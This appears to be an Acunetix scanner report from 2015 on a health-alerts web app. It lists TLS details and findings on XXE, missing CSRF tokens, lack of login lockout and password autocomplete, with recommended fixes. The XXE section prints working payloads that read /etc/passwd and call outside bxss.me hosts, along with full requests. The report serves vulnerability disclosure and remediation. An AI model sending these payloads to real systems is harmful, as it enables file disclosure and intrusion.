



# Developer Report

# Scan of https://18f-ads.noblis.org

## Scan details

Scan information	
Start time	7/2/2015 4:05:51 PM
Finish time	7/2/2015 4:14:01 PM
Scan time	8 minutes, 11 seconds
Profile	High_Risk_Alerts
Server information	
Responsive	True
Server banner	Apache/2.2.15 (CentOS)
Server OS	Unix

## Threat level



### Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

## Alerts distribution

Total alerts found	10
High	2
Medium	4
Low	2
Informational	2

## Knowledge base

### SSL server running [443]

A TLS1 server is running on TCP port 443.

SSL server information:

Ciphers supported:

- TLS1\_CK\_RSA\_WITH\_3DES\_EDE\_CBC\_SHA(OpenSSL ciphername: DES-CBC3-SHA, Protocol version: TLSv1, Key Exchange: RSA, Authentication: RSA, Symmetric encryption method: 3DES(168), Message authentication code: SHA1) - High strength
- TLS1\_CK\_DHE\_RSA\_WITH\_3DES\_EDE\_CBC\_SHA(OpenSSL ciphername: EDH-RSA-DES-CBC3-SHA, Protocol version: TLSv1, Key Exchange: DH, Authentication: RSA, Symmetric encryption method: 3DES(168), Message authentication code: SHA1) - High strength
- TLS1\_CK\_RSA\_WITH\_AES\_128\_CBC\_SHA(OpenSSL ciphername: AES128-SHA, Protocol version: TLSv1, Key Exchange: RSA, Authentication: RSA, Symmetric encryption method: AES(128), Message authentication code: SHA1) - High strength
- TLS1\_CK\_DHE\_RSA\_WITH\_AES\_128\_CBC\_SHA(OpenSSL ciphername: DHE-RSA-AES128-SHA, Protocol version: TLSv1, Key Exchange: DH, Authentication: RSA, Symmetric encryption method: AES(128), Message authentication code: SHA1) - High strength
- TLS1\_CK\_RSA\_WITH\_AES\_256\_CBC\_SHA(OpenSSL ciphername: AES256-SHA, Protocol version: TLSv1, Key Exchange: RSA, Authentication: RSA, Symmetric encryption method: AES(256), Message authentication code: SHA1) - High strength
- TLS1\_CK\_DHE\_RSA\_WITH\_AES\_256\_CBC\_SHA(OpenSSL ciphername: DHE-RSA-AES256-SHA, Protocol version: TLSv1, Key Exchange: DH, Authentication: RSA, Symmetric encryption method: AES(256), Message authentication code: SHA1) - High strength
- TLS1\_CK\_RSA\_WITH\_CAMELLIA\_128\_CBC\_SHA(OpenSSL ciphername: n/a, Protocol version: TLSv1, Key

Exchange: RSA, Authentication: RSA, Symmetric encryption method: Camellia(128), Message authentication code: SHA1)  
- High strength  
- TLS1\_CK\_DHE\_RSA\_WITH\_CAMELLIA\_128\_CBC\_SHA(OpenSSL ciphername: n/a, Protocol version: TLSv1, Key  
Exchange: DH, Authentication: RSA, Symmetric encryption method: Camellia(128), Message authentication code: SHA1) -  
High strength  
- TLS1\_CK\_RSA\_WITH\_CAMELLIA\_256\_CBC\_SHA(OpenSSL ciphername: n/a, Protocol version: TLSv1, Key  
Exchange: RSA, Authentication: RSA, Symmetric encryption method: Camellia(256), Message authentication code: SHA1)  
- High strength  
- TLS1\_CK\_DHE\_RSA\_WITH\_CAMELLIA\_256\_CBC\_SHA(OpenSSL ciphername: n/a, Protocol version: TLSv1, Key  
Exchange: DH, Authentication: RSA, Symmetric encryption method: Camellia(256), Message authentication code: SHA1) -  
High strength  
- TLS1\_CK\_ECDHE\_RSA\_WITH\_3DES\_EDE\_CBC\_SHA(OpenSSL ciphername: n/a, Protocol version: TLSv1, Key  
Exchange: ECDH, Authentication: RSA, Symmetric encryption method: 3DES(168), Message authentication code: SHA1) -  
High strength  
- TLS1\_CK\_ECDHE\_RSA\_WITH\_AES\_128\_CBC\_SHA(OpenSSL ciphername: n/a, Protocol version: TLSv1, Key  
Exchange: ECDH, Authentication: RSA, Symmetric encryption method: AES(128), Message authentication code: SHA1) -  
High strength  
- TLS1\_CK\_ECDHE\_RSA\_WITH\_AES\_256\_CBC\_SHA(OpenSSL ciphername: n/a, Protocol version: TLSv1, Key  
Exchange: ECDH, Authentication: RSA, Symmetric encryption method: AES(256), Message authentication code: SHA1) -  
High strength

- Certificate 1:

Issuer:

Country Name: GB  
State Or Province Name: Greater Manchester  
Locality Name: Salford  
Organization Name: COMODO CA Limited  
Common Name: COMODO RSA Domain Validation Secure Server CA

Recipient:

Organizational Unit Name: Domain Control Validated  
Organizational Unit Name: PositiveSSL  
Common Name: 18f-ads.noblis.org

Certificate version: 2

Serial number: 00b5c05c3628d624310c5389cb0960a5a2  
Finger print: f06aac74d6b0ff72d13ebbb876dc1b36  
Algorithm ID: 1.2.840.113549.1.1.11  
Valability start: Tue Jun 23 20:00:00 EDT 2015  
Valability end: Thu Jun 23 19:59:59 EDT 2016  
Expire in: 357 days

- Certificate 2:

Issuer:

Country Name: GB  
State Or Province Name: Greater Manchester  
Locality Name: Salford  
Organization Name: COMODO CA Limited  
Common Name: COMODO RSA Certification Authority

Recipient:

Country Name: GB  
State Or Province Name: Greater Manchester  
Locality Name: Salford  
Organization Name: COMODO CA Limited  
Common Name: COMODO RSA Domain Validation Secure Server CA

Certificate version: 2

Serial number: 2b2e6eead975366c148a6edba37c8c07  
Finger print: 84fe991e9bd86cb6df95aea01aa479ff  
Algorithm ID: 1.2.840.113549.1.1.12  
Valability start: Tue Feb 11 19:00:00 EST 2014  
Valability end: Sun Feb 11 18:59:59 EST 2029

Expire in: 4973 days

- Certificate 3:

Issuer:

Country Name: SE  
Organization Name: AddTrust AB  
Organizational Unit Name: AddTrust External TTP Network  
Common Name: AddTrust External CA Root

Recipient:

Country Name: GB  
State Or Province Name: Greater Manchester  
Locality Name: Salford  
Organization Name: COMODO CA Limited  
Common Name: COMODO RSA Certification Authority

Certificate version: 2

Serial number: 2766ee56eb49f38eabd770a2fc84de22

Finger print: 1e1d2ac882313267c9d93aeeb942c699

Algorithm ID: 1.2.840.113549.1.1.12

Valability start: Tue May 30 06:48:38 EDT 2000

Valability end: Sat May 30 06:48:38 EDT 2020

Expire in: 1793 days

### Multiple web servers detected

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List of web servers (and corresponding URLs) detected on this website:

- Apache/2.2.15 (CentOS) => /
- Apache-Coyote/1.1 => /myHealthAlerts

### List of file extensions

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File extensions can provide information on what technologies are being used on this website.

List of file extensions detected:

- css => 10 file(s)
- js => 8 file(s)
- otf => 1 file(s)

### List of client scripts

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These files contain Javascript code referenced from the website.

- /myHealthAlerts/assets/application-53a84ac2c2e94b8b968c583144856503.js
- /myHealthAlerts/assets/registerAjax-7a569a23001c47d9e96b30b53aabb57b.js
- /myHealthAlerts/plugins/jquery-ui-1.10.4/jquery-ui/js/jquery-ui-1.10.4.custom.min.js
- /myHealthAlerts/plugins/spring-security-ui-1.0-RC2/js/jquery/jquery.jgrowl.js
- /myHealthAlerts/plugins/spring-security-ui-1.0-RC2/js/jquery/jquery.checkbox.js
- /myHealthAlerts/plugins/spring-security-ui-1.0-RC2/js/spring-security-ui.js
- /myHealthAlerts/plugins/jquery-1.11.1/js/jquery/jquery-1.11.1.min.js
- /myHealthAlerts/js/select2.js

### List of files with inputs

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These files have at least one input (GET or POST).

- / - 2 inputs
- /myHealthAlerts/j\_spring\_security\_check - 2 inputs
- /myHealthAlerts/register/register - 2 inputs
- /myHealthAlerts/login/authfail - 1 inputs
- /myHealthAlerts/login/auth - 2 inputs

### Alerts summary

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## ❗ XML external entity injection

Classification	
CVSS	Base Score: 6.8
<ul style="list-style-type: none"><li>- Access Vector: Network</li><li>- Access Complexity: Medium</li><li>- Authentication: None</li><li>- Confidentiality Impact: Partial</li><li>- Integrity Impact: Partial</li><li>- Availability Impact: Partial</li></ul>	
CWE	CWE-611
Affected items	Variation
<a href="#">/myHealthAlerts/register/register</a>	2

## ⚠ HTML form without CSRF protection

Classification	
CVSS	Base Score: 2.6
<ul style="list-style-type: none"><li>- Access Vector: Network</li><li>- Access Complexity: High</li><li>- Authentication: None</li><li>- Confidentiality Impact: None</li><li>- Integrity Impact: Partial</li><li>- Availability Impact: None</li></ul>	
CWE	CWE-352
Affected items	Variation
<a href="#">/myHealthAlerts</a>	2
<a href="#">/myHealthAlerts/login/auth (3a8eca3a176fe87a2f7602251adaed20)</a>	1
<a href="#">/myHealthAlerts/register</a>	1

## ❗ Login page password-guessing attack

Classification	
CVSS	Base Score: 5.0
<ul style="list-style-type: none"><li>- Access Vector: Network</li><li>- Access Complexity: Low</li><li>- Authentication: None</li><li>- Confidentiality Impact: Partial</li><li>- Integrity Impact: None</li><li>- Availability Impact: None</li></ul>	
CWE	CWE-307
Affected items	Variation
<a href="#">/myHealthAlerts/j_spring_security_check</a>	2

## ⓘ Password type input with auto-complete enabled

Classification	
CVSS	Base Score: 0.0
<ul style="list-style-type: none"><li>- Access Vector: Network</li><li>- Access Complexity: Low</li><li>- Authentication: None</li><li>- Confidentiality Impact: None</li><li>- Integrity Impact: None</li><li>- Availability Impact: None</li></ul>	
CWE	CWE-200
Affected items	Variation
<a href="#">/myHealthAlerts</a>	2

# Alert details

## XML external entity injection

Severity	High
Type	Configuration
Reported by module	Scripting (XXE_File.script)

### Description

XML supports a facility known as "external entities", which instruct an XML processor to retrieve and perform an inline include of XML located at a particular URI. An external XML entity can be used to append or modify the document type declaration (DTD) associated with an XML document. An external XML entity can also be used to include XML within the content of an XML document.

Now assume that the XML processor parses data originating from a source under attacker control. Most of the time the processor will not be validating, but it MAY include the replacement text thus initiating an unexpected file open operation, or HTTP transfer, or whatever system ids the XML processor knows how to access.

below is a sample XML document that will use this functionality to include the contents of a local file (/etc/passwd)

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE acunetix [
  <!ENTITY acunetixent SYSTEM "file:///etc/passwd">
]>
<xxx>&acunetixent;</xxx>
```

### Impact

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests.

### Recommendation

If possible it's recommended to disable parsing of XML external entities.

### References

[XML External Entity \(XXE\) Processing](#)

[XXE \(Xml eXternal Entity\) attack](#)

[CWE-611: Information Exposure Through XML External Entity Reference](#)

### Affected items

#### /myHealthAlerts/register/register

##### Details

POST data was set to <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtdkyct [ <!ENTITY dtdkyctent SYSTEM "http://hitWff2Czp33q.bxss.me/"> ]> <register>&dtdkyctent;</register>

An HTTP request was initiated for the domain hitWff2Czp33q.bxss.me which indicates that this script is vulnerable to XXE injection.

##### HTTP request details:

IP address: 65.216.138.173

User agent: Java/1.7.0\_71

##### Request headers

POST /myHealthAlerts/register/register HTTP/1.1

Content-type: text/xml

Host: 18f-ads.noblis.org

Content-Length: 163

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)

Chrome/41.0.2228.0 Safari/537.21

Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - NORMAL)  
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED  
Acunetix-User-agreement: <http://www.acunetix.com/wvs/disc.htm>  
Accept: \*/\*

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtdkyct [
  <!ENTITY dtdkyctent SYSTEM "http://hitWff2Czp33q.bxss.me/">
]>
<register>&dtdkyctent;</register>
```

## /myHealthAlerts/register/register

### Details

POST data was set to 

```
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtqbsp [ <!ENTITY dtqbspcent SYSTEM "http://hitO5trSCAOnn.bxss.me/"> ]> <register>&dtqbspcent;</register>
```

An HTTP request was initiated for the domain [hitO5trSCAOnn.bxss.me](http://hitO5trSCAOnn.bxss.me) which indicates that this script is vulnerable to XXE injection.

### HTTP request details:

IP address: 65.216.138.173

User agent: Java/1.7.0\_71

### Request headers

POST /myHealthAlerts/register/register HTTP/1.1  
Content-type: application/xml  
Host: 18f-ads.noblis.org  
Content-Length: 163  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21  
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - NORMAL)  
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED  
Acunetix-User-agreement: <http://www.acunetix.com/wvs/disc.htm>  
Accept: \*/\*

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtqbsp [
  <!ENTITY dtqbspcent SYSTEM "http://hitO5trSCAOnn.bxss.me/">
]>
<register>&dtqbspcent;</register>
```

## HTML form without CSRF protection

Severity	Medium
Type	Informational
Reported by module	Crawler

### Description

This alert may be a false positive, manual confirmation is required.

Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts.

Acunetix WVS found a HTML form with no apparent CSRF protection implemented. Consult details for more information about the affected HTML form.

### Impact

An attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

### Recommendation

Check if this form requires CSRF protection and implement CSRF countermeasures if necessary.

### Affected items

#### /myHealthAlerts

##### Details

Form name: registerForm

Form action: <https://18f-ads.noblis.org/myHealthAlerts/register/register>

Form method: POST

Form inputs:

- actionUrl [Hidden]
- username [Text]
- password [Password]
- password2 [Password]

##### Request headers

```
GET /myHealthAlerts/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: https://18f-ads.noblis.org/myHealthAlerts/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Host: 18f-ads.noblis.org
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - NORMAL)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
```

#### /myHealthAlerts



## Details

Form name: loginForm

Form action: [https://18f-ads.noblis.org/myHealthAlerts/j\\_spring\\_security\\_check](https://18f-ads.noblis.org/myHealthAlerts/j_spring_security_check)

Form method: POST

Form inputs:

- j\_username [Text]
- j\_password [Password]
- login [Submit]

## Request headers

GET /myHealthAlerts/ HTTP/1.1

Pragma: no-cache

Cache-Control: no-cache

Referer: <https://18f-ads.noblis.org/myHealthAlerts/>

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: \*\*\*\*\*

Acunetix-Aspect-Queries: filelist;aspectalerts

Host: 18f-ads.noblis.org

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)

Chrome/41.0.2228.0 Safari/537.21

Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - NORMAL)

Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED

Acunetix-User-agreement: <http://www.acunetix.com/wvs/disc.htm>

Accept: \*/\*

## /myHealthAlerts/login/auth (3a8eca3a176fe87a2f7602251adaed20)

### Details

Form name: <empty>

Form action: [https://18f-ads.noblis.org/myHealthAlerts/j\\_spring\\_security\\_check](https://18f-ads.noblis.org/myHealthAlerts/j_spring_security_check)

Form method: POST

Form inputs:

- j\_username [Text]
- j\_password [Password]
- \_spring\_security\_remember\_me [Checkbox]

### Request headers

GET /myHealthAlerts/login/auth?format=&login\_error=1 HTTP/1.1

Pragma: no-cache

Cache-Control: no-cache

Referer: [https://18f-ads.noblis.org/myHealthAlerts/login/authfail?login\\_error=1](https://18f-ads.noblis.org/myHealthAlerts/login/authfail?login_error=1)

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: \*\*\*\*\*

Acunetix-Aspect-Queries: filelist;aspectalerts

Cookie: JSESSIONID=8A7AD6E4904A3C3803EDCCA334191915

Host: 18f-ads.noblis.org

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)

Chrome/41.0.2228.0 Safari/537.21

Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - NORMAL)

Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED

Acunetix-User-agreement: <http://www.acunetix.com/wvs/disc.htm>

Accept: \*/\*

## /myHealthAlerts/register

## Details

Form name: registerForm

Form action: <https://18f-ads.noblis.org/myHealthAlerts/register/register>

Form method: POST

Form inputs:

- actionUrl [Hidden]
- username [Text]
- password [Password]
- password2 [Password]

## Request headers

GET /myHealthAlerts/register HTTP/1.1

Pragma: no-cache

Cache-Control: no-cache

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: \*\*\*\*\*

Acunetix-Aspect-Queries: filelist;aspectalerts

Host: 18f-ads.noblis.org

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)

Chrome/41.0.2228.0 Safari/537.21

Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - NORMAL)

Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED

Acunetix-User-agreement: <http://www.acunetix.com/wvs/disc.htm>

Accept: \*/\*

## Login page password-guessing attack

Severity	Low
Type	Validation
Reported by module	Scripting (Html_Authentication_Audit.script)

### Description

A common threat web developers face is a password-guessing attack known as a brute force attack. A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works.

This login page doesn't have any protection against password-guessing attacks (brute force attacks). It's recommended to implement some type of account lockout after a defined number of incorrect password attempts. Consult Web references for more information about fixing this problem.

### Impact

An attacker may attempt to discover a weak password by systematically trying every possible combination of letters, numbers, and symbols until it discovers the one correct combination that works.

### Recommendation

It's recommended to implement some type of account lockout after a defined number of incorrect password attempts.

### References

[Blocking Brute Force Attacks](#)

### Affected items

<b>/myHealthAlerts/j_spring_security_check</b>
Details
The scanner tested 10 invalid credentials and no account lockout was detected.
Request headers
POST /myHealthAlerts/j_spring_security_check HTTP/1.1 Content-Length: 39 Content-Type: application/x-www-form-urlencoded Referer: https://18f-ads.noblis.org Host: 18f-ads.noblis.org Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - NORMAL) Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm Accept: */*
j_password=SWtZTtfX&j_username=YBQV2xh2
<b>/myHealthAlerts/j_spring_security_check</b>
Details
The scanner tested 10 invalid credentials and no account lockout was detected.
Request headers
POST /myHealthAlerts/j_spring_security_check HTTP/1.1 Content-Length: 51 Content-Type: application/x-www-form-urlencoded Referer: https://18f-ads.noblis.org Host: 18f-ads.noblis.org Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - NORMAL) Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED

Acunetix-User-agreement: <http://www.acunetix.com/wvs/disc.htm>

Accept: \*/\*

login=LOGIN&j\_password=6cmgZboH&j\_username=fJ1oRqdd

## Password type input with auto-complete enabled

Severity	Informational
Type	Informational
Reported by module	Crawler

### Description

When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved. Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache.

### Impact

Possible sensitive information disclosure.

### Recommendation

The password auto-complete should be disabled in sensitive applications.  
To disable auto-complete, you may use a code similar to:  
<INPUT TYPE="password" AUTOCOMPLETE="off">

### Affected items

#### /myHealthAlerts

##### Details

Password type input named password from form named registerForm with action /myHealthAlerts/register/register has autocomplete enabled.

##### Request headers

```
GET /myHealthAlerts/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: https://18f-ads.noblis.org/myHealthAlerts/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectsalerts
Host: 18f-ads.noblis.org
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - NORMAL)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
```

#### /myHealthAlerts

##### Details

Password type input named password2 from form named registerForm with action /myHealthAlerts/register/register has autocomplete enabled.

##### Request headers

```
GET /myHealthAlerts/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: https://18f-ads.noblis.org/myHealthAlerts/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectsalerts
Host: 18f-ads.noblis.org
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

```
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - NORMAL)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
```

## Scanned items (coverage report)

Scanned 43 URLs. Found 4 vulnerable.

URL: <https://18f-ads.noblis.org/>

No vulnerabilities have been identified for this URL

3 input(s) found for this URL

### Inputs

#### Input scheme 1

Input name	Input type
/	Path Fragment
/myHealthAlerts/	Path Fragment

#### Input scheme 2

Input name	Input type
Host	HTTP Header

URL: <https://18f-ads.noblis.org/myHealthAlerts/>

Vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: [https://18f-ads.noblis.org/myHealthAlerts/j\\_spring\\_security\\_check](https://18f-ads.noblis.org/myHealthAlerts/j_spring_security_check)

Vulnerabilities have been identified for this URL

6 input(s) found for this URL

### Inputs

#### Input scheme 1

Input name	Input type
	URL encoded POST
j_password	URL encoded POST
j_username	URL encoded POST

#### Input scheme 2

Input name	Input type
_spring_security_remember_me	URL encoded POST
j_password	URL encoded POST
j_username	URL encoded POST

URL: <https://18f-ads.noblis.org/myHealthAlerts/register>

Vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: <https://18f-ads.noblis.org/myHealthAlerts/register/register>

Vulnerabilities have been identified for this URL

7 input(s) found for this URL

### Inputs

#### Input scheme 1

Input name	Input type
actionUrl	URL encoded POST
password	URL encoded POST
password2	URL encoded POST
username	URL encoded POST

#### Input scheme 2

Input name	Input type
password	URL encoded POST
password2	URL encoded POST
username	URL encoded POST

URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/css/">https://18f-ads.noblis.org/myHealthAlerts/css/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/css/select2.css">https://18f-ads.noblis.org/myHealthAlerts/css/select2.css</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/assets/">https://18f-ads.noblis.org/myHealthAlerts/assets/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/assets/custom-693484281cf88c532cd0506df2ccfe5a.css">https://18f-ads.noblis.org/myHealthAlerts/assets/custom-693484281cf88c532cd0506df2ccfe5a.css</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/assets/frontPage-2e2df9a9c4df9dd5cfee613bd8926628.css">https://18f-ads.noblis.org/myHealthAlerts/assets/frontPage-2e2df9a9c4df9dd5cfee613bd8926628.css</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/assets/application-53a84ac2c2e94b8b968c583144856503.js">https://18f-ads.noblis.org/myHealthAlerts/assets/application-53a84ac2c2e94b8b968c583144856503.js</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/assets/registerAjax-7a569a23001c47d9e96b30b53aabb57b.js">https://18f-ads.noblis.org/myHealthAlerts/assets/registerAjax-7a569a23001c47d9e96b30b53aabb57b.js</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/assets/auth-951773c4b605dc2df6b633eb61ff6a3f.css">https://18f-ads.noblis.org/myHealthAlerts/assets/auth-951773c4b605dc2df6b633eb61ff6a3f.css</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/assets/reset-23c82d3b1ee97a5efad7afe024648c51.css">https://18f-ads.noblis.org/myHealthAlerts/assets/reset-23c82d3b1ee97a5efad7afe024648c51.css</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/assets/spring-security-ui-1e89aeb137e301ea92063996df570da9.css">https://18f-ads.noblis.org/myHealthAlerts/assets/spring-security-ui-1e89aeb137e301ea92063996df570da9.css</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/assets/jquery.jgrowl-38b6cac69c3e0e2c40c23c3802859c49.css">https://18f-ads.noblis.org/myHealthAlerts/assets/jquery.jgrowl-38b6cac69c3e0e2c40c23c3802859c49.css</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/assets/jquery.safari-checkbox-603cb22035fc9e252416fa8bb739cd95.css">https://18f-ads.noblis.org/myHealthAlerts/assets/jquery.safari-checkbox-603cb22035fc9e252416fa8bb739cd95.css</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/">https://18f-ads.noblis.org/myHealthAlerts/plugins/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-ui-1.10.4/jquery-ui/">https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-ui-1.10.4/jquery-ui/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-ui-1.10.4/jquery-ui/themes/">https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-ui-1.10.4/jquery-ui/themes/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL



URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-ui-1.10.4/jquery-ui/themes/ui-lightness/">https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-ui-1.10.4/jquery-ui/themes/ui-lightness/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-ui-1.10.4/jquery-ui/themes/ui-lightness/jquery-ui-1.10.4.custom.css">https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-ui-1.10.4/jquery-ui/themes/ui-lightness/jquery-ui-1.10.4.custom.css</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-ui-1.10.4/jquery-ui/themes/ui-lightness/images/">https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-ui-1.10.4/jquery-ui/themes/ui-lightness/images/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-ui-1.10.4/jquery-ui/js/">https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-ui-1.10.4/jquery-ui/js/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-ui-1.10.4/jquery-ui/js/jquery-ui-1.10.4.custom.min.js">https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-ui-1.10.4/jquery-ui/js/jquery-ui-1.10.4.custom.min.js</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/">https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/css/">https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/css/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/css/smoothness/">https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/css/smoothness/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
